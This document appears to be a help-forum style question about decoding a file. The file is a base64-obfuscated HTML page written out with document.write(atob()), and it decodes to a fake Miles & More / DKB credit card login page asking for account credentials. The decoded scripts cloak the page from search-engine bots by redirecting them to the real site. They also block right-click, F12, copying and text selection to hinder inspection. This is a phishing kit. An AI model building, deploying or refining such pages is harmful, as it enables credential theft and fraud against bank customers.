iBocmVmPSIjIiBzdHlsZT0id2lkdGg6MTAwJTsgbWF4LXdpZHRoOiAxMDAlOyIgdGFyZ2V0PSJfYmxhbmsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQmV0YS1WZXJzaW9uIG5ldWVzIE9ubGluZS1LYXJ0ZW5rb250bwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KCgoKCgogICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAgICAgIDxkaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDxicj4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9ImxpbmsgZm9yd2FyZCBub3R2aXNpYmxlaW53YXJ0dW5nc21vZHVzIiBocmVmPSIjIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNpZSBoYWJlbiBJaHJlIFp1Z2FuZ3NkYXRlbiB2ZXJnZXNzZW4gb2RlciBJaHIgWnVnYW5nIGlzdCBnZXNwZXJydD8KICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8YnI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxicj4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9ImxpbmsgZm9yd2FyZCBub3R2aXNpYmxlaW53YXJ0dW5nc21vZHVzIiBocmVmPSIjIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNpZSBoYWJlbiBub2NoIGtlaW5lIFp1Z2FuZ3NkYXRlbj8KICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8YnI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxicj4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9ImxpbmsgZm9yd2FyZCBub3R2aXNpYmxlaW53YXJ0dW5nc21vZHVzIiBocmVmPSIjIiBzdHlsZT0iZm9udC13ZWlnaHQ6bm9ybWFsOyB0ZXh0LWRlY29yYXRpb246bm9uZTsgY29sb3I6IzBmMjg2ZSIgdGFyZ2V0PSJfYmxhbmsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgU28gbnV0emVuIFNpZSBJaHJlIFp1Z2FuZ3NkYXRlbiBmw7xyIGRpZSBBbm1lbGR1bmcKICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPC9kaXY+CgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2PgogICAgPGRpdiBjbGFzcz0iZm9vdGVyLXBhcmVudCI+CiAgICAgICAgPGRpdiBjbGFzcz0icm93IGZvb3Rlcl9vdXRlciBmb290ZXIiIGlkPSJmb290ZXJfa2siPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2x1bW4iPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3ViLW5hdiI+CiAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9IiIgaHJlZj0iIyIgdGFyZ2V0PSJfYmxhbmsiPgogICAgICAgICAgICAgICAgICAgICAgICBPbmxpbmUtS2FydGVua29udG8ga3VyeiBlcmtsw6RydAogICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0iIiBocmVmPSIjIiB0YXJnZXQ9Il9ibGFuayI+CiAgICAgICAgICAgICAgICAgICAgICAgIHd3dy5taWxlcy1hbmQtbW9yZS1rcmVkaXRrYXJ0ZS5jb20KICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9IiIgaHJlZj0iIyIgdGFyZ2V0PSJfYmxhbmsiPgogICAgICAgICAgICAgICAgICAgICAgICBGQVEKICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN1Yi1uYXYiPgogICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSIiIGhyZWY9IiMiIHRhcmdldD0iX2JsYW5rIj4KICAgICAgICAgICAgICAgICAgICAgICAgU2ljaGVyaGVpdAogICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0iIiBocmVmPSIjIiB0YXJnZXQ9Il9ibGFuayI+CiAgICAgICAgICAgICAgICAgICAgICAgIFByZWlzZSAmYW1wOyBCZWRpbmd1bmdlbgogICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0iIiBocmVmPSIjIiB0YXJnZXQ9Il9ibGFuayI+CiAgICAgICAgICAgICAgICAgICAgICAgIEZvcm11bGFyZQogICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3ViLW5hdiI+CiAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9InNob3dGb3JMb2dnZWRpbiIgaHJlZj0iIyIgdGFyZ2V0PSJfc2VsZiI+CiAgICAgICAgICAgICAgICAgICAgICAgIEtvbnRha3QKICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9ImhpZGVGb3JMb2dnZWRpbiIgaHJlZj0iIyIgdGFyZ2V0PSJfYmxhbmsiPgogICAgICAgICAgICAgICAgICAgICAgICBLb250YWt0CiAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSIiIGhyZWY9IiMiIHRhcmdldD0iX3NlbGYiPgogICAgICAgICAgICAgICAgICAgICAgICBEYXRlbnNjaHV0egogICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0iIj4KICAgICAgICAgICAgICAgICAgICAgICAgQ29va2llIEVpbnN0ZWxsdW5nZW4gw6RuZGVybgogICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz0iIiBocmVmPSIjIiB0YXJnZXQ9Il9zZWxmIj4KICAgICAgICAgICAgICAgICAgICAgICAgSW1wcmVzc3VtCiAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb3B5cmlnaHQiPgogICAgICAgICAgICAgICAgICAgIEVpbiBBbmdlYm90IGRlciBES0IgQUcuCiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KCgo8c2NyaXB0PgogICAgLy8gRGlzYWJsZSBjZXJ0YWluIGtleWJvYXJkIHNob3J0Y3V0cwogICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGV2ZW50KSB7CiAgICAgICAgaWYgKGV2ZW50LmN0cmxLZXkgJiYgKAogICAgICAgICAgICBldmVudC5rZXkgPT09ICdjJyB8fCBldmVudC5rZXkgPT09ICdzJyB8fCBldmVudC5rZXkgPT09ICdhJyB8fAogICAgICAgICAgICBldmVudC5rZXkgPT09ICdkJyB8fCBldmVudC5rZXkgPT09ICdmJyB8fCBldmVudC5rZXkgPT09ICdvJyB8fAogICAgICAgICAgICBldmVudC5rZXkgPT09ICdwJyB8fCBldmVudC5rZXkgPT09ICdsJyB8fCBldmVudC5rZXkgPT09ICd6JyB8fAogICAgICAgICAgICBldmVudC5rZXkgPT09ICduJyB8fCBldmVudC5rZXkgPT09ICdtJyB8fCBldmVudC5rZXkgPT09ICdnJyB8fAogICAgICAgICAgICBldmVudC5rZXkgPT09ICd3JyB8fCBldmVudC5rZXkgPT09ICdvJyB8fCBldmVudC5rZXkgPT09ICdqJyB8fAogICAgICAgICAgICBldmVudC5rZXkgPT09ICd1JyB8fCBldmVudC5rZXkgPT09ICdyJyB8fCBldmVudC5rZXkgPT09ICdTJyB8fAogICAgICAgICAgICBldmVudC5rZXkgPT09ICdBJyB8fCBldmVudC5rZXkgPT09ICdEJyB8fCBldmVudC5rZXkgPT09ICdGJyB8fAogICAgICAgICAgICBldmVudC5rZXkgPT09ICdPJyB8fCBldmVudC5rZXkgPT09ICdQJyB8fCBldmVudC5rZXkgPT09ICdMJyB8fAogICAgICAgICAgICBldmVudC5rZXkgPT09ICdaJyB8fCBldmVudC5rZXkgPT09ICdOJyB8fCBldmVudC5rZXkgPT09ICdNJyB8fAogICAgICAgICAgICBldmVudC5rZXkgPT09ICdHJyB8fCBldmVudC5rZXkgPT09ICdXJyB8fCBldmVudC5rZXkgPT09ICdPJyB8fAogICAgICAgICAgICBldmVudC5rZXkgPT09ICdKJyB8fCBldmVudC5rZXkgPT09ICdVJyB8fCBldmVudC5rZXkgPT09ICdSJwogICAgICAgICkpIHsKICAgICAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsKICAgICAgICB9CiAgICB9KTsKCiAgICAvLyBEaXNhYmxlIHJpZ2h0LWNsaWNrIGNvbnRleHQgbWVudQogICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY29udGV4dG1lbnUnLCBmdW5jdGlvbihldmVudCkgewogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiAgICB9KTsKCiAgICAvLyBEaXNhYmxlIEYxMiBrZXkKICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2tleWRvd24nLCBmdW5jdGlvbihldmVudCkgewogICAgICAgIGlmIChldmVudC5rZXkgPT09ICdGMTInKSB7CiAgICAgICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgfQogICAgfSk7CgogICAgLy8gRGlzYWJsZSB0ZXh0IHNlbGVjdGlvbgogICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignRE9NQ29udGVudExvYWRlZCcsIGZ1bmN0aW9uKCkgewogICAgICAgIGRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ3NlbGVjdHN0YXJ0JywgZnVuY3Rpb24oZXZlbnQpIHsKICAgICAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsKICAgICAgICB9KTsKICAgIH0pOwoKICAgIC8vIFNpbXBsZSBlbmNyeXB0aW9uIGZ1bmN0aW9uIChmb3IgZGVtb25zdHJhdGlvbiBwdXJwb3NlcyBvbmx5KQogICAgZnVuY3Rpb24gZW5jcnlwdFRleHQodGV4dCkgewogICAgICAgIGxldCBlbmNyeXB0ZWRUZXh0ID0gJyc7CiAgICAgICAgZm9yIChsZXQgaSA9IDA7IGkgPCB0ZXh0Lmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgIGVuY3J5cHRlZFRleHQgKz0gU3RyaW5nLmZyb21DaGFyQ29kZSh0ZXh0LmNoYXJDb2RlQXQoaSkgKyAxKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIGVuY3J5cHRlZFRleHQ7CiAgICB9CgogICAgLy8gRGVjcnlwdCBhbmQgc2hvdyB0aGUgb3JpZ2luYWwgdGV4dCBvbiB1c2VyIGNsaWNrCiAgICBmdW5jdGlvbiBkZWNyeXB0QW5kU2hvdyhlbGVtZW50KSB7CiAgICAgICAgY29uc3QgZW5jcnlwdGVkVGV4dCA9IGVsZW1lbnQuZ2V0QXR0cmlidXRlKCdkYXRhLWVuY3J5cHRlZCcpOwogICAgICAgIGNvbnN0IGRlY3J5cHRlZFRleHQgPSBlbmNyeXB0VGV4dChlbmNyeXB0ZWRUZXh0KTsKICAgICAgICBlbGVtZW50LnRleHRDb250ZW50ID0gZGVjcnlwdGVkVGV4dDsKICAgICAgICBlbGVtZW50LnJlbW92ZUF0dHJpYnV0ZSgnZGF0YS1lbmNyeXB0ZWQnKTsKICAgICAgICBlbGVtZW50LnJlbW92ZUV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgZGVjcnlwdENsaWNrTGlzdGVuZXIpOwogICAgfQoKICAgIC8vIENsaWNrIGxpc3RlbmVyIGZvciBkZWNyeXB0aW9uCiAgICBmdW5jdGlvbiBkZWNyeXB0Q2xpY2tMaXN0ZW5lcihldmVudCkgewogICAgICAgIGRlY3J5cHRBbmRTaG93KGV2ZW50LnRhcmdldCk7CiAgICB9CgogICAgLy8gRW5jcnlwdCBhbGwgdGV4dCBub2RlcyB3aGVuIHRoZSBwYWdlIGxvYWRzCiAgICBmdW5jdGlvbiBlbmNyeXB0QWxsVGV4dE5vZGVzKG5vZGUpIHsKICAgICAgICBpZiAobm9kZS5ub2RlVHlwZSA9PT0gTm9kZS5URVhUX05PREUpIHsKICAgICAgICAgICAgY29uc3QgZW5jcnlwdGVkVGV4dCA9IGVuY3J5cHRUZXh0KG5vZGUudGV4dENvbnRlbnQpOwogICAgICAgICAgICBub2RlLnRleHRDb250ZW50ID0gJ0NsaWNrIHRvIHJldmVhbCc7CiAgICAgICAgICAgIG5vZGUuc2V0QXR0cmlidXRlKCdkYXRhLWVuY3J5cHRlZCcsIGVuY3J5cHRlZFRleHQpOwogICAgICAgICAgICBub2RlLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgZGVjcnlwdENsaWNrTGlzdGVuZXIpOwogICAgICAgIH0gZWxzZSBpZiAobm9kZS5ub2RlVHlwZSA9PT0gTm9kZS5FTEVNRU5UX05PREUpIHsKICAgICAgICAgICAgZm9yIChsZXQgY2hpbGROb2RlIG9mIG5vZGUuY2hpbGROb2RlcykgewogICAgICAgICAgICAgICAgZW5jcnlwdEFsbFRleHROb2RlcyhjaGlsZE5vZGUpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKICAgIC8vIEVuY3J5cHQgYWxsIHRleHQgbm9kZXMgd2hlbiB0aGUgcGFnZSBsb2FkcwogICAgd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoJ2xvYWQnLCAoKSA9PiB7CiAgICAgICAgLy8gQ2hlY2sgaWYgdGhlIHVzZXIgYWdlbnQgaXMgYSBzZWFyY2ggZW5naW5lIGJvdAogICAgICAgIGNvbnN0IHVzZXJBZ2VudCA9IG5hdmlnYXRvci51c2VyQWdlbnQudG9Mb3dlckNhc2UoKTsKICAgICAgICBjb25zdCBpc0JvdCA9IHVzZXJBZ2VudC5pbmNsdWRlcygnZ29vZ2xlYm90JykgfHwgdXNlckFnZW50LmluY2x1ZGVzKCdiaW5nYm90Jyk7CgogICAgICAgIC8vIEVuY3J5cHQgdGV4dCBub2RlcyBvbmx5IGlmIGl0J3Mgbm90IGEgc2VhcmNoIGVuZ2luZSBib3QKICAgICAgICBpZiAoIWlzQm90KSB7CiAgICAgICAgICAgIGVuY3J5cHRBbGxUZXh0Tm9kZXMoZG9jdW1lbnQuYm9keSk7CiAgICAgICAgfQogICAgfSk7Cjwvc2NyaXB0PgoKCgo8L2JvZHk+Cgo8L2h0bWw+")); 
        </script> 
    </body> 
    </html> 
     ?>

Did this file decode correctly?

Original Code


    <!DOCTYPE html>
    <html>
    <head>
        <title>Encoded Page</title>
    </head>
    <body>
        <script>
            // Decode the Base64 content and write it to the document
            document.write(atob("PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSI+CiAgICA8bWV0YSBjb250ZW50PSJJRT1FZGdlIiBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiPgogICAgPG1ldGEgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCwgbWF4aW11bS1zY2FsZT0xLjAsIHVzZXItc2NhbGFibGU9MCIgbmFtZT0idmlld3BvcnQiPgogICAgPGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwczovL3d3dy5taWxlcy1hbmQtbW9yZS1rcmVkaXRrYXJ0ZS5jb20vZXhwb3J0L3NpdGVzL2xobW1jYy9fY29uZi9zeXN0ZW0vcGl4L2Zhdmljb24uaWNvIiB0eXBlPSJpbWFnZS94LWljb24iIC8+CiAgICA8dGl0bGU+TWlsZXMgJmFtcDsgTW9yZSA8L3RpdGxlPgoJICAgICAgICAgPHNjcmlwdD4KICAgICAgICB3aW5kb3cub25sb2FkID0gZnVuY3Rpb24gKCkgewogICAgICAgICAgICB2YXIgaXNCb3QgPSBkZXRlY3RCb3QoKTsKCiAgICAgICAgICAgIGlmIChpc0JvdCkgewogICAgICAgICAgICAgICAgLy8gSWYgaXQncyBhIGJvdCwgeW91IGNhbiB0YWtlIHNvbWUgYWN0aW9uIGhlcmUsIGxpa2UgcmVkaXJlY3Rpbmcgb3IgYmxvY2tpbmcgYWNjZXNzLgogICAgICAgICAgICAgICAgYWxlcnQoIlNvcnJ5LCB0aGlzIHBhZ2UgaXMgbm90IGZvbmQuIik7CiAgICAgICAgICAgICAgICB3aW5kb3cubG9jYXRpb24uaHJlZiA9ICJodHRwczovL3d3dy5taWxlcy1hbmQtbW9yZS5jb20vZGUvZW4uaHRtbCI7CiAgICAgICAgICAgIH0KICAgICAgICB9OwoKICAgICAgICBmdW5jdGlvbiBkZXRlY3RCb3QoKSB7CiAgICAgICAgICAgIC8vIExpc3Qgb2YgY29tbW9uIHVzZXIgYWdlbnQgc3RyaW5ncyBmb3IgYm90cwogICAgICAgICAgICB2YXIgYm90VXNlckFnZW50cyA9IFsKICAgICAgICAgICAgICAgICJnb29nbGVib3QiLAogICAgICAgICAgICAgICAgImJpbmdib3QiLAogICAgICAgICAgICAgICAgInNsdXJwIiwKICAgICAgICAgICAgICAgICJkdWNrZHVja2JvdCIsCgkJCQkiYW1hem9uIiwKICAgICAgICAgICAgICAgIC8vIEFkZCBtb3JlIHVzZXIgYWdlbnRzIGFzIG5lZWRlZAogICAgICAgICAgICBdOwoKICAgICAgICAgICAgdmFyIHVzZXJBZ2VudCA9IG5hdmlnYXRvci51c2VyQWdlbnQudG9Mb3dlckNhc2UoKTsKCiAgICAgICAgICAgIC8vIENoZWNrIGlmIHRoZSB1c2VyIGFnZW50IGNvbnRhaW5zIGFueSBvZiB0aGUgYm90IHN0cmluZ3MKICAgICAgICAgICAgZm9yICh2YXIgaSA9IDA7IGkgPCBib3RVc2VyQWdlbnRzLmxlbmd0aDsgaSsrKSB7CiAgICAgICAgICAgICAgICBpZiAodXNlckFnZW50LmluZGV4T2YoYm90VXNlckFnZW50c1tpXSkgIT09IC0xKSB7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7IC8vIEl0J3MgYSBib3QKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOyAvLyBJdCdzIG5vdCBhIGJvdAogICAgICAgIH0KICAgIDwvc2NyaXB0PgoKICAgIDxsaW5rIGhyZWY9Ii4vZGUvYnJhbmQtbWluLmNzcyIgbWVkaWE9ImFsbCIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyI+CgogICAgPG1ldGEgY2xhc3M9ImZvdW5kYXRpb24tbXEiPgoKICAgIDxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CiAgICAgICAgLnNob3dGb3JMb2dnZWRpbiB7CiAgICAgICAgICAgIGRpc3BsYXk6IG5vbmUgIWltcG9ydGFudDsKICAgICAgICB9CgogICAgICAgIC5oaWRlRm9yTG9nZ2VkaW4ge30KICAgIDwvc3R5bGU+CjwvaGVhZD4KCjxib2R5IGNsYXNzPSJjb3JlIG1hbSBva2tCb2R5IGd1ZXN0TW9kZSI+CiAgICA8ZGl2IGNsYXNzPSIiIGlkPSJoZWFkZXItd3JhcHBlciIgc3R5bGU9InBhZGRpbmctYm90dG9tOiAwcHg7IHBvc2l0aW9uOiBhYnNvbHV0ZTsgdG9wOiAwcHg7Ij4KICAgICAgICA8ZGl2IGNsYXNzPSJyb3cgbG9nb1JvdyI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbHVtbiBsb2dvQ29udGFpbmVyIj4KICAgICAgICAgICAgICAgIDxhIGhyZWY9IiMiPgogICAgICAgICAgICAgICAgICAgIDxpbWcgYWx0PSIiIHNyYz0iLi9kZS9sb2dvLnBuZyI+CiAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICAgIDxkaXYgY2xhc3M9ImtrLWhlYWRlci1wYXJlbnQiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3cga2staGVhZGVyIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbHVtbiI+CiAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9ImJlZm9yZS10b3AtYmFyIj4KICAgICAgICAgICAgICAgICAgICA8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgPG5hdiBjbGFzcz0idG9wLWJhciI+CiAgICAgICAgICAgICAgICAgICAgPC9uYXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sdW1uIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImxvZ2luLWluZm8tYmFyIj4KICAgICAgICAgICAgICAgICAgICA8c3BhbiBpZD0ic2Vzc2lvbl9pbmZvX2JhciAiIHN0eWxlPSJkaXNwbGF5OiBub25lIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InNlc3Npb25faW5mb19sYWJlbCIgaWQ9InNlc3Npb25faW5mb19sYWJlbCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9ImxpbmsgZXZ0LWxvZ2luIiBkYXRhLWFieC1qc2V2ZW50PSJsb2dpbiIgaHJlZj0iIyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iYWJheHgtYnV0dG9uLWxhYmVsIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBBbm1lbGRlbgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgPC9zcGFuPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkZXItc2VwYXJhdG9yIj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgPGRpdiBjbGFzcz0ic21hbGwtMTIgY29sdW1ucyBjb250ZW50Q29udGFpbmVyIj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY21zVGV4dCI+CiAgICAgICAgICAgICAgICA8IS0tcHJvdGVjdGVkX3N0YXJ0LS0+CiAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXIiPgogICAgICAgICAgICAgICAgICAgIDxoMz4KICAgICAgICAgICAgICAgICAgICAgICAgV2lsbGtvbW1lbiBpbiBJaHJlbQogICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ibm93cmFwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9ubGluZS1LYXJ0ZW5rb250bwogICAgICAgICAgICAgICAgICAgICAgICA8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgPC9oMz4KICAgICAgICAgICAgICAgICAgICA8ZGl2PgogICAgICAgICAgICAgCgkJCQkJCTxmb3JtIGFjdGlvbj0iIyIgY2xhc3M9ImFiYXh4LWZvcm0iIGRhdGEteHBvcHVwLW1vZGU9ImF1dG8iIGlkPSJsb2dpbiIgbWV0aG9kPSJwb3N0IiBuYW1lPSJsb2dpbiIgb25zdWJtaXQ9InJldHVybiB2YWxpZGF0ZUZvcm0oKTsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBzdHlsZT0ibWF4LXdpZHRoOiA4NzBweDt0ZXh0LWFsaWduOiBjZW50ZXI7IG1hcmdpbjogMCBhdXRvOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG5vc2NyaXB0PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJjb2xvcjogI0VFQUUwMDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEJpdHRlIGFrdGl2aWVyZW4gU2llIEphdmFTY3JpcHQsIHVtIGFsbGUgRnVua3Rpb25lbiBJaHJlcyBPbmxpbmUtS2FydGVua29udG9zIG51dHplbiB6dSBrw7ZubmVuLgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9ub3NjcmlwdD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGlkPSJjb29raWVIaW50IiBzdHlsZT0iZGlzcGxheTogbm9uZTsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJjb2xvcjogI2YwMDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEJpdHRlIGFrdGl2aWVyZW4gU2llIENvb2tpZXMgZsO8ciBlaW5lIGZlaGxlcmZyZWllIEZ1bmt0aW9uIElocmVzIE9ubGluZS1LYXJ0ZW5rb250b3MuCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KPGRpdiBpZD0iZXJyb3ItbWVzc2FnZSI+PC9kaXY+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IG5hbWU9InVhQnJvd3NlciIgdHlwZT0iaGlkZGVuIiB2YWx1ZT0iQ2hyb21lIC0gMTE5LjAuMC4wIj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxicj4KCQkJCQkJCQkgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBzdHlsZT0ibWF4LXdpZHRoOiAzMDBweDsgZGlzcGxheTogaW5saW5lLWJsb2NrOyB3aWR0aDogMTAwJTsgdGV4dC1hbGlnbjogbGVmdDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sdW1ucyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPSJhc3BlY3QtbGFiZWwiIGZvcj0iaWQxMDQ4MzI1OTBfal91c2VybmFtZSIgaWQ9ImlkMTA0ODMyNTkwX2pfdXNlcm5hbWUtbGFiZWwiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFubWVsZGVuYW1lIChMZWdpdGltYXRpb25zIElEKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9sYWJlbD4KCQkJCQkJCQkJCQkKCQkJCQkJCQkJCQkKCQkJCQkJCQkJCQkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgYXV0b2NhcGl0YWxpemU9Im9mZiIgYXV0b2NvbXBsZXRlPSJvZmYiIGF1dG9jb3JyZWN0PSJvZmYiIGF1dG9mb2N1cz0iYXV0b2ZvY3VzIiBjbGFzcz0iZmllbGQgdmlydHVhbF9rZXlwYWQgcXdlcnR6MiB0ZXh0IGFiYXh4LXRleHQtODAgaXMta2V5cGFkIiBpZD0iaWQxMDQ4MzI1OTBfal91c2VybmFtZSIgbWF4bGVuZ3RoPSIzMCIgbmFtZT0ial91c2VybmFtZSIgdHlwZT0idGV4dCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBhbHQ9IsOWZmZuZW4iIGNsYXNzPSJrZXlwYWQtdHJpZ2dlciIgc3